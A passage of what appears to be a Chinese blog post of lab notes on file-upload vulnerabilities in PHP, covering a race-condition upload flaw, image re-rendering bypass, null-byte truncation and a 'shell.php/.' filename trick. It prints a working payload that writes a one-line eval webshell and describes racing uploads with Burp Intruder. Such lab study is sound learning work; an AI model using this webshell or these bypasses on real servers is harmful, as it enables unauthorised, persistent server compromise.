        rename($upload_file, $img_path);
    }else{
        // 非法文件 → 删除
        unlink($upload_file);
    }
}

⚠️ 问题点(条件竞争漏洞)

  • 文件在 move_uploaded_file() 执行后已经出现在 upload/ 目录中。
  • 在判断后缀是否合法之前,攻击者可以 并发快速访问该文件
  • 如果上传的是 恶意.php 文件,攻击者能在文件被删除前访问执行它,从而在服务器上写入 Webshell。

例如题目描述里的 “竞争马”:

<?php fputs(fopen('xiao.php','w'),'<?php eval($_REQUEST[1]);?>');?>

攻击者利用竞争窗口,在文件删除前触发执行,达到持久化写马的目的。

总结:如果上传的文件被写入到 web 可访问且会被 PHP 解析的目录,并且攻击者在文件被删除前成功访问(即让服务器执行)了该上传文件中的 fputs(...) 语句,那么服务器上会被写出 xiao.php(一句话木马)。一旦 xiao.php 被写入并保存,后续即便把原上传文件删除,xiao.php 仍然存在并可被利用——攻击已经成功

上传php文件,抓包发送到Intruder,clear

image-20250928150240558

这里就相当于一直在上传php代码,然后现在还需要加一个一直访问php代码的,步骤和上传文件一样,访问upload/1.php然后抓包

我们就在浏览器访问xiao.php

image-20250928151116410

写进去了

PHP-原生态-文件上传-解析配置&二次渲染

二次渲染:网站让图片显示更加美好

image-20250928151646768

上传一个木马图片然后下载下来和原图放进010editor进行比较

image-20250928152145728

image-20250928152153798

image-20250928152723333

匹配的部分还是挺少的

image-20250928152827325

PHP-原生态-文件上传-逻辑缺陷&函数缺陷

第十一关

image-20250928195237188

里面有一个函数缺陷:move_uploaded_file($temp_file, $img_path)

这里如果用shell%00.jpg,在5.3.4版本一下可以绕过,服务端的检查函数(可能是用 PHP 的 pathinfo() 或简单的字符串匹配)读取到这个文件名。在 PHP 的某些版本和配置下,%00 被 URL 解码之前进行验证,所以检查函数看到的是 shell.php%00.jpg,它认为这是一个 .jpg 文件,验证通过

但是现在在这里不能绕过,需要利用函数缺陷,将上传的文件名改成shell.php/.,之后保存的文件会自动把点去掉


posted @ 2025-05-24 18:31  Anaxa  阅读(163)  评论(0)    收藏  举报